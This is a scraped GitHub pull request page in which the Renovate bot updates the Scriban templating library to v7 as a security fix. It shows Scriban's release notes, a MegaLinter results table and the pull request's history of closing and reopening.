  • Fix generator execution after nullable support (de47d8a)
  • Fix Scriban.props and ci (ebfc405)
  • Fix NU5129 as no-warning (25d148a)

🧰 Maintenance

🧰 Misc

  • Remove changelog.md (8939dde)
  • Harden string padding width limits (4227fde)
  • Bound object.to_json recursion and cycles (760dc21)
  • Enforce parser depth for array initializers (f55280a)
  • Clear include cache on TemplateContext.Reset (099cb04)
  • Reset typed accessor cache with MemberFilter changes (8180fb6)
  • Enforce cumulative output size limits (9856321)
  • Harden expression evaluation resource bounds (2d01bd1)
  • Apply LoopLimit to internal iteration paths (dde661d)
  • Sync builtin overload docs with DocGen (b6c65c7)
  • Disable STJ for source-embedded builds (9abb65b)
  • Enforce LimitToString in string Append, Prepend, Replace, ReplaceFirst (d384108)
  • Await async model members (ecca082)
  • Update follow-up plan (2f99ca6)
  • Make array.sort stable (b357166)
  • Support dotted array.sort paths (1df80f7)
  • Finalize follow-up plan (3ec006c)
  • Remove completed issue plan (8557aad)
  • Update deps (3f08079)
  • Change LexerOptions / ParserOptions to record (0c22917)
  • Remove Nustache (f2ea38f)
  • Update readme (b3f915e)

Full Changelog: 6.6.0...7.0.0

Published with dotnet-releaser

v6.6.0

Compare Source

Changes

✨ New Features

🐛 Bug Fixes

  • Fix JsonElement support for netstandard (8894352)

🧰 Misc

Full Changelog: 6.5.8...6.6.0

Published with dotnet-releaser

v6.5.8

Compare Source

Changes

🚀 Enhancements

🧰 Misc

Full Changelog: 6.5.7...6.5.8

Published with dotnet-releaser

v6.5.7

Compare Source

Changes

🚀 Enhancements

Full Changelog: 6.5.6...6.5.7

Published with dotnet-releaser

v6.5.6

Compare Source

Changes

🐛 Bug Fixes

🧰 Misc

Full Changelog: 6.5.5...6.5.6

Published with dotnet-releaser

v6.5.5

Compare Source

Changes

🐛 Bug Fixes

Full Changelog: 6.5.4...6.5.5

Published with dotnet-releaser

v6.5.4

Compare Source

Changes

✨ New Features

  • Add instructions (6ccb65f)
  • Add site (f9afab3)
  • Add Scriban.AppService playground backend (b1072d7)
  • Add social banner (11cbaca)
  • Add ScriptArray.From() static factory method (4b3f041)

🐛 Bug Fixes

  • fix date.parse test with 'Z' not working if local timezone > UTC+03:00 (PR #​642) by @​meld-cp

📚 Documentation

  • Add doc for runtime by splitting existing doc (ce0a2b6)

🧰 Misc

  • include template - Named array args don't stay as arrays in the template (PR #​641) by @​meld-cp
  • Redirect Try out links to site playground, support URL parameters (0592e64)
  • Update readme for the online demo (5b9f511)
  • Use dark theme (18331e9)

Full Changelog: 6.5.3...6.5.4

Published with dotnet-releaser

v6.5.3

Compare Source

Changes

🐛 Bug Fixes

  • Fix setting variable in a scope while it is also declared in an outer scope (577e2d4)

📦 Dependencies

🧰 Misc

  • Update date.now in tests for 2026 (f00a6bb)

Full Changelog: 6.5.2...6.5.3

Published with dotnet-releaser

v6.5.2

Compare Source

Changes

🐛 Bug Fixes

Full Changelog: 6.5.1...6.5.2

Published with dotnet-releaser

v6.5.1

Compare Source

Changes

🐛 Bug Fixes

  • Fix async code for promoted variables (ac6a80a)

🧰 Misc

  • Migrate to slnx and central package management (63bc3d6)

Full Changelog: 6.5.0...6.5.1

Published with dotnet-releaser

v6.5.0

Compare Source

Changes

🐛 Bug Fixes

Full Changelog: 6.4.0...6.5.0

Published with dotnet-releaser

v6.4.0

Compare Source

Changes

🚀 Enhancements

Full Changelog: 6.3.0...6.4.0

Published with dotnet-releaser

v6.3.0

Compare Source

Changes

🐛 Bug Fixes

🚀 Enhancements

📚 Documentation

📦 Dependencies

  • Update dependencies NuGet (c8eaa48)

Full Changelog: 6.2.1...6.3.0

Published with dotnet-releaser

v6.2.1

Compare Source

Changes

🐛 Bug Fixes

  • fixes #​608 (PR [#​609](https:

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) March 19, 2026 21:41
@github-actions
Copy link
Copy Markdown

github-actions bot commented Mar 19, 2026

🦙 MegaLinter status: ❌ ERROR

Descriptor Linter Files Fixed Errors Elapsed time
✅ ACTION actionlint 3 0 0.02s
✅ CSHARP csharpier 20 0 2.64s
✅ EDITORCONFIG editorconfig-checker 54 0 0.22s
✅ JSON jsonlint 9 0 0.16s
⚠️ JSON prettier 9 1 0.62s
✅ JSON v8r 9 0 3.36s
✅ MARKDOWN markdownlint 1 0 0.36s
✅ MARKDOWN markdown-link-check 1 0 2.1s
✅ MARKDOWN markdown-table-formatter 1 0 0.23s
✅ REPOSITORY checkov yes no 17.88s
✅ REPOSITORY dustilock yes no 0.01s
✅ REPOSITORY gitleaks yes no 0.13s
✅ REPOSITORY git_diff yes no 0.01s
❌ REPOSITORY grype yes 1 29.71s
✅ REPOSITORY kics yes no 1.18s
✅ REPOSITORY secretlint yes no 0.82s
✅ REPOSITORY syft yes no 0.28s
✅ REPOSITORY trivy yes no 9.94s
✅ REPOSITORY trivy-sbom yes no 9.81s
✅ REPOSITORY trufflehog yes no 4.42s
✅ YAML prettier 6 0 0.58s
✅ YAML v8r 6 0 4.19s
✅ YAML yamllint 6 0 0.3s

See detailed report in MegaLinter reports

You could have same capabilities but better runtime performances if you request a new MegaLinter flavor.

MegaLinter is graciously provided by OX Security

@renovate renovate bot force-pushed the renovate/nuget-scriban-vulnerability branch from e524ab1 to 700bb23 Compare March 25, 2026 01:05
@renovate renovate bot changed the title chore(deps): update dependency scriban to v6 [security] chore(deps): update dependency scriban to v7 [security] Mar 25, 2026
@renovate renovate bot changed the title chore(deps): update dependency scriban to v7 [security] chore(deps): update dependency scriban to v7 [security] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:16

Pull request was closed

@renovate renovate bot deleted the renovate/nuget-scriban-vulnerability branch March 27, 2026 02:16
@renovate renovate bot changed the title chore(deps): update dependency scriban to v7 [security] - autoclosed chore(deps): update dependency scriban to v7 [security] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/nuget-scriban-vulnerability branch 2 times, most recently from 700bb23 to 0f19042 Compare March 30, 2026 18:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants